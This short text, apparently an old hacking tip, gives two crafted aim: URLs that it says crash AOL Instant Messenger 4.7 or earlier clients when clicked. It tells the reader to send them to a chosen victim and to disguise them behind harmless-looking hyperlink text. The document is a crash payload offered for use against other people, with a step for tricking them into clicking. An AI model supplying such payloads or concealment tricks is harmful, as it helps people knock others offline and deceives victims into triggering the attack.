Only works on people running AIM 4.7 or earlier!

Copy and paste either of the two URLS below to the person you want to crash, if the person clicks on the hyperlink that is sent to them, their AIM client will crash and they will be booted and have to sign back on:

aim:addbuddy?screenname=Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness&groupname=Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darkness,Darknessaim:addbuddy?screenname=Dark

or this one:

aim:AlertsInternal?Command=1&ProviderID=5d5e170a-55aa-11d3-b143-0060b0fb1ecb&AlertID=1&Symbol=

To make the crash hyperlink look less obvious, use the "link" button in your IM window, and then paste one of the crash URLS above into the "Hyperlink URL" field, and then type some clever text into the "Hyperlink Text" field.
